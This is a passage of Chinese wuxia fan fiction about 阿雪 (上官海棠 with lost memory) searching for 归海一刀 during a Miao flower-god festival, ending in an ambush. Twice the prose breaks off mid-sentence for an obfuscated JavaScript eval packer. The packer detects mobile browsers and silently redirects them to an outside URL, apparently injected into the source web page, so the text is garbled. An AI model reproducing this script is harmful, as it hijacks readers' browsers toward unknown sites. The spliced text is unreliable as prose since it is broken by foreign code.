“管他什么滇南滇北,不都是大明的土地!”眼见云萝受欺负,成是非也稳不住,“敢欺负我威龙大侠的郡主老婆,叫你吃不了兜着走。” 说罢,成是非已然运气于掌,正要飞身攻去,却被一阵熟悉的呼声打断。 “慢着,成是非!” 随着话音落地,一抹黑色身影跃入院中。 “天涯!” “天涯,你怎么来了?”一见天涯,云萝心中忧虑更甚,她看天涯面色苍白,疑道,“难道……海棠姐姐真的出了什么事?” 天涯并未立时回答,反而回头望了望白衣公子,见对方稍稍颔首,才开口道: “详细的情形以后再说,不过你猜得不错,我与无痕公子正是为此而来。” “无……哦!就是海棠的师傅,那个什么……无能公子!” 眼见自己名号被成是非这样调侃,无痕公子倒也不恼,反倒他身边的四名白衣女子狠狠地瞪向成是非。 “哎呀!事到如今,还有什么不能说的?”云萝急道,“我们初遇魔教中人是在一个月前,那个时候海棠姐姐就已经……” 说到这里,云萝似乎想到什么,狐疑地望向无痕。 “依天涯所说,前辈似乎早就得知海棠姐姐出事,为什么到现在才来?都说无痕公子神通广大,总不至于怕了魔教吧?” “郡主,莫要胡言!” 天涯连忙出声阻止,再回头一看,只见一向云淡风轻的无痕公子,此时脸色有些难看。 “这不是胡言!我一向有话直说,况且事关海棠姐姐,更要问清楚。海棠姐姐是无痕公子的入室弟子,自己弟子出事不见着急,反而袒护魔教,这怎么想都说不过去!” “我并非袒护魔教。只是……你刚才所说的那位圣女,的确无辜。” “前辈何以如此肯定?你与那位圣女是何关系?” “够了!”这下,轮到无痕身边侍女高声怒喝。 “梅琴。” 无痕抬手制止身边侍女。面对云萝如此逼问,无痕并未恼怒,反而若有所思地低下了头。过了片刻,他长吁一气,似是下定决心,开口道: “你口中的魔教圣女,天羽她……是我的……” 13. 轻姿映月舞 历劫喜相逢 临州七月,已是炎炎流火之季。相比于交通便捷、汉商聚居的石溪镇,临州四面群山环抱,自古便是苗民聚集繁衍之地,渔猎山伐,民风彪悍,南教分舵临仙阁便设于此。其又毗邻东川银矿,民生富庶,加之苗人女子尙银,于是城中随处可见头戴华美银饰的苗人女子。 说起阿雪,原本跟随狇清一行赶赴临州,却不想半路上狇府急报传来,无奈只能分道扬镳,临别之前,狇清赠阿雪两匹快马和玉牌一枚,嘱咐到达临州后凭玉牌入住狇府在临州所设行馆;若日后有事,也可前往大理寻他。就这样,阿雪和阿凉二人独自赶到临州。 转眼来到临州已有两日。两日来,凭借狇清世子临行嘱咐和所赠玉牌,阿雪得以暂居狇府行馆,衣食尚且无忧,但寻人一事却不顺利。照理说,临州多是苗人聚居,寻找一位汉人不算难事。只是这临州城说大不大,说小却也真是不小,加之阿雪之前对归海一刀的生平性情有所耳闻,猜测他有不少仇家,安全起见,不敢随意寻人打听,只能用最笨的方法,扎进人堆之中,逐一寻找感觉相似之人。 可惜,一连五日,毫无收获。 这天正午,烈日当空,阿凉好不容易劝服阿雪稍事休息。二人来到一间茶楼,坐在临窗雅座,面对桌上一壶清香解暑的凉茶,阿雪却无心品尝。俯瞰街道,远远可见一列队伍,由数十名苗族男女组成,女子分列两侧,个个身姿妙曼,衣饰华美,手挽一篮红花,沿街挥洒;男子居中,身形高大,正协力肩扛一尊由鲜红花枝编织而成的神像。队列沿街游行,城中百姓夹道相迎,拍手欢呼,好不热闹,俨然一派节日盛典的景象。 “你看,阿雪,祭花神的队伍出来了!”阿凉有些兴奋地指着街上队伍。 “花神?” “今天是花神节啊!”阿凉继续兴高采烈地说道,“在滇南,凤仙花被奉为圣花,传说每一朵凤仙花上都寄宿着神灵。七月是凤仙花开的季节,也被定为花神节。在花神节的这一天,我们苗家人会在山林里举办盛大的宴会,若是有了心仪之人,女子会盛装打扮,用凤仙花汁染红指甲,而男子则会……” 阿凉没有再说下去,他见阿雪一言不发地望着楼下,神色愈发凝重,以为她还在为寻人之事忧虑,也不知如何宽慰,只能劝道: “你不要总这么担心,休息一天再找也不迟。” 阿雪依旧不出声。 “不……不然这样吧,我去替你求求花神。我们苗家人说,在花神节这一天,只要诚心许愿,花神都会帮助实现,尤其是……” “晚上你带我去参加宴会吧!” 阿雪突然的一句,倒让阿凉愣住。 “你说什么?” “我说,你晚上带我去参加你们苗家祭花神的宴会吧!”阿雪眼见阿凉仍是惊讶不已,继续说道,“你不是说花神有求必应吗?反正我找了这么久也找不到,倒不如听你的,亲自求求花神,帮我找到归海一刀。” 阿雪这话脱口而出,倒像是临时编造,阿凉听得出来,却不拆穿。 “你这样,我可不会带你去的。” “我哪样?” 阿雪闻言,不由得上下打量一番自己。几日来,阿雪心急寻人,加上一路行军跋涉,自然顾不上好好整理打扮自己,时至今日,阿雪身上仍然穿着阿凉给她的苗家男子服装。 “既然是求花神,自然要诚心。你一个女孩子,却扮男装,花神怎么会高兴?” “可现在上哪儿弄一套苗人女子衣服?” “交给我吧!”只丢下这一句话,阿凉就转身下楼。 片刻功夫,阿雪看见阿凉由茶楼正门走出,融入街上人潮之中。 阿雪不知阿凉有何打算,也管不了这么多,毕竟她也未将心中所图告诉阿凉。 阿雪并非真的打算向花神许愿,她虽心急寻人,却不至于病急乱投医。此刻,阿雪站在二楼,俯瞰街上喧闹人群以及巨大的神像,再一次陷入深思。 “凤仙花……南教……” 经过石溪镇一事,阿雪深知滇南民风奇特,局势更加复杂,为求谨慎,阿雪已向狇清打听滇南一带风土人情,她知道南教是滇南第一大帮,势力庞大,难以想象,凤仙花不仅被滇南百姓奉为圣花,更是南教圣物,而临州正有南教分舵,那列队伍显然就是南教中人,换言之,此刻,她正身处南教势力范围之中。 石溪镇一事,阿雪算是彻底与南教结仇,她深知南教势力庞大,一路上小心行事。实际上,阿雪之所以跟随狇清上路,一来寻人,二来不愿连累石溪镇,三来也想得到狇府庇佑。这几日来,她寄住狇府行馆,低调行事,也是为求稳妥。为何如今反而要涉险参加宴会? “改土归流……” 阿雪已从狇清口中得知滇南改土归流一事,如此大刀阔斧的改革,自然牵动各方势力,南教在石溪镇所为便是一例,或许这也能解释归海一刀为何长途跋涉来到滇南。从狇清口中,阿雪已经得知归海一刀御前侍卫、大内密探的身份。值此多事之秋,如此身份,远来滇南,必有所图。如此一来,与其躲在岸边,苦苦寻觅等待,倒不如主动投身旋涡中心。其实,以阿雪机敏,再综合之前得到的种种信息,她已渐渐猜出自己失忆之前的身份,只是无法确认,眼下她只想尽快找到归海一刀。阿雪隐隐预感,今夜定有大事发生。 想到此处,阿雪不禁双手合十,虽知鬼神之说并不可信,却仍是祈祷,若花神有灵,只求让这位外表坚强勇敢,却内心孤独不安的女子,快些见到思念之人。 月至中天,临州城外西行三里的一处河滩上,燃起熊熊篝火。红色的火焰沿着木架高高升窜,将夜空照亮大半,人们围聚火边,纵情狂饮,放声欢笑,伴随着悠扬轻快的乐声,载歌载舞。滇南苗民自古信仰花神,奉其为姻缘之神,因此花神节也成为苗家年轻男女相互结识交往的场所,只见男子们个个手捧酒杯,在人群之中穿梭寻觅有缘之人,女子们则盛装打扮,头戴各色银饰,舞动身姿,心中祈祷花神恩赐美好姻缘。 在这一片喧嚣之中,一抹清丽的身影吸引众人目光。只见这名女子身穿藏青色的苗家短裙,身形修长曼妙、玲珑有致,她头戴精美半月银花头冠,身姿轻盈,乌发垂肩,冰肌玉骨,明眸皓齿,若再一细看,除去浑然天成的美貌之外,相比其他苗家女子的野性粗犷,她眉宇之间虽少了几分活泼,却多了几分温婉,举手投足之间更自带一股文雅气质,月光洒下,映照得她满头银饰熠熠生辉,更衬得面容无比柔美。 这名女子穿梭于人群之中,即不见跳舞,也未有与人交谈,反而四下张望,像是在寻找什么。 “小心点儿!” 夜晚露水厚重,草地湿滑,阿雪心急寻人,自然顾及不上。眼见就要摔倒,来自背后的一只臂弯却将她稳稳接住。这样坚实而温暖的依靠让她不禁心神恍惚,一些模糊的画面伴随着剧烈的头痛再次袭来,她迫不及待地回头望去,希望看清画面中的人影,却又失望。 “你没事吧?” “没事,谢谢你,阿凉!” 阿雪挣开肩上的手掌,再度拉开距离。 这样的小动作自然让阿凉觉察,但这一回,他没有沮丧。他拉着阿雪的手腕,带她远离熙攘的人群,按着她坐在河边岩石上,递上一袋羊奶酒和一块用荷叶包裹、已经切好的烤肉。 “你找了一个晚上,吃点东西休息一下吧!” “不用……” “你啊——”阿凉索性把所有吃食都塞进阿雪手里,“从中午开始就什么都没吃,这样身体可是受不了的。” 此话不假,自从来到临州,阿雪心急寻人,四处奔波,根本无暇好好进食休息。刚才那一跤,有七成缘于体力不支。但此刻面对喷香油亮的烤肉,阿雪还是选择推拒。 “真的不……”可惜,还未等她说完,肚子就率先一步提出抗议。 阿凉也不掩饰嘴角的笑意,说道:“快吃吧!” 眼下无法再推脱,阿雪只好拿起一块肉放入口中。原本见烤肉表面红亮,以为是火焰炙烤所致,却不想肉一入口,辛麻刺痛之感瞬间蔓延开来,一股异香窜上鼻腔,直呛得她连连咳嗽,逼出满眼泪水。 眼见阿雪被呛得满脸通红、涕泪横流的窘态,阿凉反倒像个恶作剧得逞的少年,哈哈大笑。 “这是什么?”阿雪猛灌一口羊奶酒,虽名为酒,却混合羊奶的醇厚甜香,瞬时将口中辣味缓解不少。 “就是普通的烤肉,只不过……加了一点我们滇南盛产的山胡椒,研磨成粉撒在烤肉上,虽然味道冲了点,但可以去腥增香,配合羊奶酒一起吃最好不过。你再尝尝!” 阿凉盛情难却,阿雪也实在腹中饥饿,忍不住又拿起一块肉放入口中,虽然仍是辛麻不减,不过多亏羊奶酒酸甜之味缓解,舌头似乎适应不少,细细咀嚼之下,别有一股鲜香。 就这样,阿雪一块肉、一口酒,转眼将手中食物消灭干净,而她本人也被辣得满脸细汗,脸颊平添几分红晕。 “好吃吧!”阿凉笑盈盈地递上一方帕子。 “嗯!” 美食饱腹,阿雪的心情似乎舒缓不少。阿凉见此,也是十分高兴,继续说道: “你知道吗?很多中原的汉人刚来的时候,吃不惯这里的食物,但是呆久了就渐渐爱上,还离不开了呢!” 话至此处,阿凉忽然小心翼翼地说道: “看来……你的确很适合做我们苗家的姑娘。” 阿雪并没有听出阿凉的话外之音,她此刻正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292477|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远看着围在火边舞蹈的人群,似是被这份热情感染,不自觉间,一抹笑意浮上嘴角。 都说滇南偏远闭塞,蛮夷之地,可在阿雪看来,虽然滇南与中原风俗相距甚远,但百姓们热情大方、淳朴善良,加之山清水秀,真可谓世外仙境。回想这一个月来,她记忆全失,像只无头苍蝇一样四处奔波,寻找过去,不安、焦虑日积月累,化作阴霾在心中逐渐扩大,眼下却神奇地被这一片温暖的火光驱散。她恍惚想起阿凉的问题,若是真的无法找回过去,或许就这样隐居此处,也不是坏事。 眼见阿雪面色松融,阿凉抓准时机,一把牵起阿雪的手。 “走,我们跳舞去!” 不等阿雪拒绝,阿凉已牵着她来到篝火前。只见许多年轻男女手牵着手,在篝火前围成一个大圈,二人挤进人群,阿雪还没反应过来,就被众人裹挟着、围着篝火跳起舞来。 一开始,阿雪十分拘谨,只是十分困窘地被身边的人推挤,阿凉见状,凑到她耳边,大声说道: “你这样可不行!这舞蹈是献给花神,得诚心诚意地跳!” 又是花神?阿雪心中腹诽,她虽不信鬼神之说,却也逐渐被这四周热情感化。伴随着悠扬的笛声和雨点般的阵阵鼓声,人们欢聚火边,纵情舞蹈,放声歌唱。阿雪身处庆典的中心,脸被火焰烤得通红,手足被众人裹挟着舞蹈,奇怪的是,却完全不觉得任何疲惫,反而愈发欢快。她像是被四周笑声感染,脸上笑意愈发明显,也不再是被动地跟随众人动作,开始情不自禁地舞动手脚。 “呜——哈!” 又是一阵欢呼,原本围聚成圆的人群突然散开,阿雪还没反应过来,又被阿凉牵起双手。 “这是我们苗家的舞蹈,不用紧张,我教你跳!” 再看四周,身边一对对男女结伴舞蹈,好不快活。阿雪的双手被阿凉牵着,随着音乐的节拍而动。一开始,阿雪还是有些抗拒,但逐渐被四周的欢笑声所感染,身体逐渐放松。 “你跳得很好!” 一句恰到好处的称赞,令阿雪彻底一扫心中阴霾。她感觉到音乐的变化和四周的掌声,甩开阿凉的双手,跟随悠扬的笛音和节奏逐渐加快的掌声,舞动身姿。 火光摇曳,映照着在草地中央独自起舞的女子。她的舞姿不同于众,每一个灵动柔美的动作都吸引着众人目光,手腕、足踝上的银铃随着她的步子发出悦耳的声响,她纤细的身影映在月光之下,宛如仙子临凡,清丽脱尘。她跳得忘我,恍惚中想起很多年前,似乎也有同样的情景。在一个灯火辉煌的夜晚,她挽着一个少年,在人群中起舞,只是那少年实在木讷,总是跟不上动作,她索性甩开他的手,独自舞蹈…… 音乐逐渐进入尾声,阿雪也停下舞蹈,她捂着胸口稍稍平复呼吸,还没回过神来,却被众人欢呼簇拥着、推到阿凉的面前。 阿凉站在面前,双手捧着一只空酒碗,举到阿雪面前。 “这是……” 正当阿雪迷惑不解,一位苗家姑娘将一壶酒塞到阿雪手中,在耳边轻声道: “快倒酒啊!” 阿雪仍是不解,但她看见阿凉黝黑的脸颊挂满笑容,眼中满是期待、甚至哀求,不禁心头一软,举起酒壶。 好歹阿凉对自己也是多次相帮,应该敬酒谢他,阿雪如此想道。 但阿雪没有注意到,在清亮的酒液注入碗中的那一刻,阿凉几乎无法制止眼中泪水夺眶而出,他双手颤抖地捧起酒碗,一饮而尽。 四周再次响起雷鸣般的欢呼与掌声,正当阿雪疑惑之时,却不想被阿凉一把揽入怀中。 这实在太过突然,阿雪来不及拒绝,甚至被拥入怀中之后也没有挣扎反抗。因为此刻,她的目光被定格在一个人身上。 透过摇曳的火光,即使人群攘攘,阿雪仍是一眼看见了他。与多年前一样,他的一身玄色衣衫与四周格格不入,即使身处喜庆热闹之中,仍是木讷呆立。若说不同,就是他的身形高大许多,只不过那空荡荡的右袖实在让人心疼,他的五官英俊却又饱经沧桑,蓬乱的头发之下,眼中已饱含惊喜与泪水。 是他!阿雪知道他就是自己苦苦寻找的归海一刀。在看见这张面孔的第一眼,阿雪感觉一直以来盘桓于脑海中的迷雾瞬间散去,过往的所有记忆如同潮水一般猛烈却清晰地涌来,护龙山庄、竹林、皇宫、少林寺、达摩洞、喜宴、雪原,还有成是非、云萝、大哥、师傅、义父以及……归海一刀,一个个场景、一幅幅熟悉的面孔接连涌现而出,汹涌而来的情感浪涛一般将她淹没,她不断挣扎,如同寻找浮木一般努力捉住每一个片段。她止不住地颤抖,身体内似有一股热气横冲直撞,她已顾不上耳畔呼啸而过的箭矢,只觉得胸口一热,一口鲜血喷薄而出。 14. 寻她千百度 人在阑珊处 自从一出石溪镇,归海一刀可谓昼夜不歇、马不停蹄地赶往临州。原本随行马儿由护民山庄挑选培训,当属良驹,却也受不了这般长途跋涉,遑论是人。 “休息一下吧!” 在中途驿站换马之时,天羽终是忍不住开口劝道,一刀余毒未清,又身上有伤,担心也是难免。可一刀不为所动,甚至毫不理睬,只是自顾自地为马儿套鞍,备好干粮与饮水,翻身上马,继续出发。天羽无奈,只能跟随其后。 归海一刀的确变了!天羽心中感叹,自打离开石溪镇,一刀一改以往稳重,变得十分急躁,他对人更加冷漠,眼中却多出异样的光芒。天羽知道,这光芒不是因为自己,这是她从未见过的神情。能够如此牵动归海一刀心神,世间恐怕只有一人,只是……她不是已经死了吗?天羽望着一刀渐行渐远的背影,第一次切身体会到,原来一个早已死去的人还有这般影响力! 虽然心有疑惑,天羽最终没有再开口,只是默默跟随一刀。他们没有选择再翻越凤鸣山,而是取道东川路,原本需要一个月的路程,他们只花二十天,就赶到临州。 一到临州,一刀立即赶去护民山庄临州分舵——北思楼,下达寻人任务。按理说,以护民山庄的情报能力,寻找一人自然不在话下。可一刀料想不到,他紧赶慢赶,赶到临州,却碰上了花神节。 凭借情报与记忆,一刀知道花神节是滇南苗民最盛大的节日,可他料想不到会这样热闹。眼见源源不断的苗民由城外涌入,再看街道上熙熙攘攘的人群与庞大的游行队伍,一刀明白即使是护民山庄,要在这样的日子寻人也是力有不逮,可他实在无法安心等待,只好亲自寻找。 一刀穿梭于人群之中,四下张望,不错过每一幅面孔。不断有苗家姑娘从他身边经过,一个个年轻貌美,盛装打扮,满头银饰更是衬得娇艳动人,她们被一刀一身汉人服饰与英俊面容吸引,纷纷投来仰慕的目光,他却不以为意。在归海一刀眼中,海棠的女儿打扮远胜世间所有美人。 一刀这样整整寻了一天,眼看日渐黄昏,人潮渐渐向城外散去,他却一无所获。原本,一刀只在宋大夫口中得知狇府世子率兵取道东川路,前往临州,可一路追来,却不见踪影,赶到临州,更是没有任何消息,难道宋大夫骗了他?或是他们早已离开临州?一刀心中越想越没底,可眼下又实在没有其他办法,他的心中愈发急躁,只觉得街上往来人群十分碍眼。隐约中感觉有人拉扯他的衣袖,一股怒上心头,几乎拔刀出鞘,却被人及时扣住手腕。此人正是天羽 “你干嘛啊?” “没什么?” 一刀挣脱手腕,看也不看天羽。这一动作,让天羽倍感失落。自打进城之后,天羽寸步不离地跟着一刀,此刻,她的脸上的疲惫完全不逊于一刀。 “找了这么久,既然没有收获,不如休息一下。” “你累了就走,不要跟着我。” “我若不跟着你,你以为就凭你能找得到上官海棠吗?” 简短的一句话,却令一刀停下脚步,他仍背对着天羽,言语间已带有怒气。 “你怎么知道?” “这有什么难猜?”天羽苦笑道,“天底下能够如此牵动归海一刀心神,恐怕只有上官海棠一人。” “别多管闲事!” “若我说,我刚刚收到飞鸽传书,狇清他们并没有来到临州,而是中途转道赶回大理。归海大侠还觉得我是多管闲事吗?” “什么?”一刀听闻大惊,转回身来,但瞬间眼神又恢复疑虑,“你确定?” “这有什么不能确定?南教立足滇南百年,自然有一套情报手段。你若不信,大可以自己查证,只会得到同样的答案。” 一刀不再多说,转身要走,却被天羽一把拉住。 “下一步你想怎么做?去大理吗?” “不用你管。”一刀再度甩开天羽的手。 “你这样无头苍蝇似地乱转,有什么用?”随着心中的委屈决堤,天羽的声音也变得尖锐起来,“狇清是回了大理不假,可你能确定上官海棠一定也跟去了大理?她就不能中途分道扬镳,先赶来临州,或是去了其他地方?” “这……” 一刀被问得说不出话来。其实,他也知道这样四下奔波寻找不是办法,只是眼下毫无进展,又事关海棠,他怎么都无法冷静下来。 “那你又有什么好办法?” “自然是有的。”眼见一刀冷静了些,天羽也不再急躁,自信道,“南教与狇府多少有些渊源,若是上官海棠真的跟着狇清,只要我一封飞鸽传书,就能求证。若是没有跟着狇清,南教势力加上护民山庄的情报网,最迟一两天,总能有消息,好过你东寻西找,万一错过消息,岂非得不偿失?” “南教势力?你为何要如此帮我?” “我知道你信不过我。无所谓,我只是好奇,能够让归海一刀如此痴情该是怎样的奇女子?”天羽强忍眼角酸涩,看向街道人群,“你也不要着急。今日是花神节,临州之外方圆百里的苗民都赶来城中集会,人来人往,消息传送自然慢一些,你且耐心等上一晚。再不济,我带你去求求花神?” “花神?” “对啊!”说到家乡风俗,天羽眼中又恢复神采,“花神可是滇南苗民信奉的姻缘之神,今日是花神节,夜晚会在城外举行歌舞宴会。反正是等,不如去求求花神,或许花神被你的痴情感动,让你和上官海棠早日相见。” “荒谬!” “可别说我没提醒你,归海大侠。花神之宴是滇南最大的节庆,无论男女老少都会参加,或许你的上官海棠也会去。你要实在不愿去,也无所谓。反正再过一个时辰,大家都去参加宴会,城中空无一人,你就自己找个够好了!” 正如天羽所说,一个时辰之后,在临州城外西行三里,一处河滩之上,已经燃起熊熊火焰,伴随着悠扬欢快的乐声,苗家男女围着火焰,欢声笑语,载歌载舞,好不热闹。 而在这一片热闹喜庆之中,一个人影穿梭于人群之中,他的一身玄色衣衫与周围格格不入,如冰雕一般的面庞即使在火光照耀之下也未见松融,他眉头紧锁,四下张望,锲而不舍地寻找心中所思之人。 可是,无论归海一刀如何仔细寻找,奈何人山人海,他没有千里眼,终究一无所获。连日奔波的疲惫,加上寻而不得的失落,将一刀压得喘不过气来,他颓然地坐在一块巨石之上,却见一位苗家少女捧着一个宽口酒碗递了过来。 许是真的累了,此刻的一刀不见以往的戒备冰冷,他无意识地接过酒碗,茫然抬头,正正对上少女的目光。这位少女正是碧玉之年,皮肤略黑,五官也说不上多么美丽,只是笑容爽朗,目光中还带着一丝狡黠灵气,像极了一个人。这样熟悉的感觉令一刀有些恍惚,竟不顾上注入碗中的酒液。 突然,一只手横空伸来,打翻手中的碗。定睛一看,正是天羽。 “你干什么?”都说苗家女子泼辣,却是百闻不如一见。眼看好事被搅,这位苗家少女毫不客气,撸起袖子,大有一副要拼命的架势。 “我问你干什么才对,敢勾引南教圣女的人,不要命了吗?” 当然,天羽气势更足,一句话吓得对方不敢出声。对方再一看见天羽腰封上的凤仙花图案,更是吓得灰溜溜逃走。 把人吓跑,天羽仍不解气,再看一旁的一刀,依旧一副不理不睬的样子,怒气更甚,开口讥讽道: “看来母亲说得真是没错,男人就没有好东西!原以为归海大侠痴心情长,为寻找心爱之人,千里迢迢赶来临州,没想到这会儿反倒和其他女子调起情来!” “你说什么?” “我有说错吗?你若不是喜新厌旧,刚才那女孩儿是怎么回事?” “我哪知道怎么回事?是她自己端着酒过来的。” “她端给你就接啊?” “不然呢?那姑娘全无武功,也没给我下毒,一杯酒而已。” “你……你可知道在花神节上,男子接受女子所献之酒是什么意思?” 一刀摇摇头,一脸漠然。天羽眼见他这幅不开窍的样子,心中气极,却又无可奈何,憋了许久,终于酸酸地开口: “之前虽说可能在花神节上找到你的上官海棠,不过仔细一想,还是不要找到的好,至少不要在此时此地找到。” “你什么意思?” “归海大侠是汉人,兴许不懂我们苗家风俗。这花神节不仅是苗人全族喜庆之日,花神之宴更是苗族年轻男女相聚相识的场所。在这一天,我们苗家女儿都会盛装打扮……” 言至此处,天羽小心翼翼地举手挽了挽鬓角长发,她的一双玉手原本白皙纤长,不知何时染红十指指甲,更显娇艳。再一看,天羽已不见早先疲倦狼狈,换上一身崭新鲜艳的衣裙,满头银饰熠熠生辉,却丝毫不掩她的美貌,反而相得益彰,更衬得几分华贵之美。 “用凤仙花汁染红指甲,代表……若是男女彼此有意,男子会捧着酒碗走向女子,女子若是肯为男子倒酒,就表示二人愿意结为夫妻。” “所以呢?” “所以,如果你的上官海棠来参加花神之宴,就表示她已经另有心仪之人。” “一派胡言!” “我胡言?你自己想想,如果上官海棠已经复生,如果她心中真的有你,她为什么不来找你?她有功夫在石溪镇治病救人,有功夫四处走南闯北,有功夫来临州参加花神之宴,就是不来找你,甚至连一点消息都没有。说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292478|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么重情重义,依我看,她早就不想再回到过……” “够了!” 一刀厉声打断天羽,腾地起身,眼中怒火直逼天羽,手中宝刀又握紧几分。而天羽也不示弱,她仰着头,紧咬嘴唇,强忍心中苦涩,毫不客气地回瞪一刀。 二人就在沉默中彼此对峙,也不知过了多久,还是天羽最先松口。 “算了,我有话直说,你爱信不信,反正要找人的又不是我。” 天羽走后,一刀再次茫然地坐下。 “不愿……回到过去吗……” 若这真是海棠的选择,自己该怎么做?归海一刀没了答案。在一刀的认识中,海棠重情重义,是世间绝无仅有的好女子,然而正是这份情义成为她致命的枷锁,她愿为成是非闯大内、偷雪莲,愿为自己委身下嫁万三千,更愿为了铁胆神侯一句命令而赴汤蹈火,只因昔日救命教养之恩。一刀无法想象当海棠得知神侯阴谋、得知她所崇拜信仰的一切皆是谎言之时,内心该是如何绝望?若这一切、包括自己在内,皆是海棠选择遗忘的过往,归海一刀能否放手? 又一声欢呼,将一刀思绪唤回,他望向远处的篝火,只见一对对年轻男女沐浴在温暖的火光之下,携手欢舞。一刀恍惚想起,似乎多年之前,也曾有过这样的情景…… 那是在归海一刀进入护龙山庄的第三个年头,元宵之夜,神侯照例入宫赴宴,天地玄三人本该留守山庄,怎奈海棠生性好玩,天涯管不住她,又不愿违背神侯训诫,海棠只好硬拉着一刀陪她出庄游玩。 一刀不怕神候训诫,只是他生性不爱热闹。以往他与父母深居山林之中,少与人来往,入护龙山庄之后,更以父仇为首任,告诫自己远离一切玩乐,可眼下面对海棠的邀约,他却怎么也无法拒绝。 古之京城有内外之分,沿长安街一路向南,出正阳门,就是外城。相比于巍峨宏伟的皇城和达官显贵聚居的内城,外城则是贩夫走卒汇集之地,商业繁荣,元宵佳节更是热闹非凡。两个少年身影穿梭于人群之中,其中一个走在前头,上蹿下跳,东张西望,另一个则是木木地跟在后头。 “一刀,快看!”海棠一边指着前方一处篝火,一边拉着一刀往前跑。 两人挤过厚厚的人墙,只见围在篝火前的是一群身着奇装异服的人,正在表演各种杂技,喷火球、翻跟头、变戏法,各式各样,好不热闹。 “这些是什么人?穿得这样奇怪!” “看服装应该是滇南苗民。滇南狇王府正月入京朝贡,随行不许入城,想来都聚集到这里。” “可别惹出什么乱子!” “你可真是杞人忧天,朗朗乾坤,能有什么乱子?不说这个,我们跳舞去!” 恰逢一阵悠扬的乐声响起,表演的人们撤下,一群年轻的苗族男女围上来,牵着手围绕篝火舞蹈。海棠看准时机,也牵着一刀上前。 两个小小的身影被裹挟在人群之中,海棠双手牵着一刀,模仿周围人的动作手舞足蹈。这下可难为一刀,他虽自小练武,身法还算灵活,可从未跳过舞,更何况眼下双手被海棠抓着,只觉得面如火烧,手足僵硬,怎么也跟不上节奏。 此时正跳得起劲的海棠没有注意到一刀的窘迫,气恼他怎么如此地不配合。 “你怎么了?出来玩不开心吗?” “不是!我只是……不是……” 眼见一刀支支吾吾,海棠心想这木头心思难以捉摸,平时不爱玩乐,眼下要他陪自己出庄游玩肯定一万个不愿意,就不再为难他,索性放开双手,独自舞蹈。 “海棠!” 一刀眼见海棠被人潮裹挟着向篝火靠拢,瘦小的身影逐渐吸引周围目光,她踏着鼓点舞蹈,舞姿不算出众,却身姿轻盈如同一只蝴蝶,映在火光之中,如梦如幻。 又是一声欢呼将一刀的思绪唤回现实,只见海棠依旧在火光中舞蹈,只是换上一身苗家女子的服饰,满头的银饰衬托着她的乌发和雪白的面容,她的身姿轻盈,如同一只彩蝶在在火光中翩然起舞,美得不可方物。 一刀看得呆了,全然顾不上远处的海棠正被众人推搡至一名男子面前,甚至于眼见海棠被男子拥入怀中,也无丝毫愤怒。 因为此刻,海棠也正望向自己。二人隔着攘攘人潮,彼此相望,似乎近在咫尺,却又仿佛隔着千山万水,即使如此,一刀仍清楚看见,海棠的眼中,不见陌生,不见逃避,正直直望向自己。 这一瞬间,一刀忘却了感官,忘却了时间,脑海中只有一个清晰无比的声音:是她!她回来了! “海棠——” 仿佛要用尽一生呐喊,喊出那个他思念、等待半生之人的姓名。 只是未等对方回应,一支利箭便撕碎归海一刀所有的希望。 15. 重逢已陌路 湖海两相忘 黑暗中,一支利箭袭来,击中熊熊燃烧的篝火架。霎时间,火星四溅,一切喜悦与希望随之破碎。 人们惊慌大叫、四处逃窜,原本为节庆而准备的酒坛被撞翻,酒液四溢,再遇上迸裂的火星,火焰瞬时蔓延开来。 隔着熊熊火焰与四散奔逃的人群,归海一刀清楚看见,海棠口吐鲜血,昏倒在他人怀中。那一刻,一刀仿佛心跳都要停止,他顾不上呐喊、顾不上呼吸,只想尽快赶到她的身边,却不想被一把黑色的刀刃挡住前路。 刀锋无声划过夜空,直逼归海一刀脖颈,仿佛誓要取其性命。多年锻炼的战斗经验令归海一刀迅速反应,瞬间拔刀一挡,却不想这一刀竟如此之沉,竟将归海一刀生生震退数步。 未等一刀稳住身形,对手已再度袭来。对手是一名黑衣蒙面大汉,体型魁梧,所持大刀奇重无比,刀法更是迅猛刚烈,刀势丝毫不逊绝情斩。一刀已然大怒,挥舞宝刀,不想刚一运动,竟发觉体内有一股真气不受控制,一刀心急,强行运功,却引得真气冲撞丹田,扰得内息大乱,一口热血喷薄而出。 眼见一刀单膝跪地,蒙面人毫不留情,刀刃迎面劈下。一刀无力避闪,说时迟那时快,一道紫电袭来,黑暗中直取蒙面人双目。蒙面人被迫撤刀横削,紫鞭犹如灵蛇腾舞,绕开刀刃,打他颚下“廉泉穴”。黑衣人一个“盘龙绕步”,堪堪闪开,天羽已飞身而来,左掌迎面劈下,黑衣人本可举刀横削,反而出掌相抗。 只听“砰”的一声巨响,如惊雷炸裂,二人掌力悉敌,各自连退数步。 “你……” 就在对掌的一瞬间,天羽对上蒙面人的双眼,霎时心中大惊。 蒙面人却不理天羽,转身再度攻向一旁动弹不得的一刀。 “不——” 天羽顿时头脑空白,想也不想地飞身前去,张开双臂将一刀护在身后。 蒙面人本已举刀斫下,忽见天羽竟以肉身护在一刀身前,只得生生止住。 高手过招,只在瞬息之间,天羽自小习武,根基深厚,一遇危险,身体本能出招。就在蒙面人止刀收势的一瞬间,她已一掌打中对方胸口。 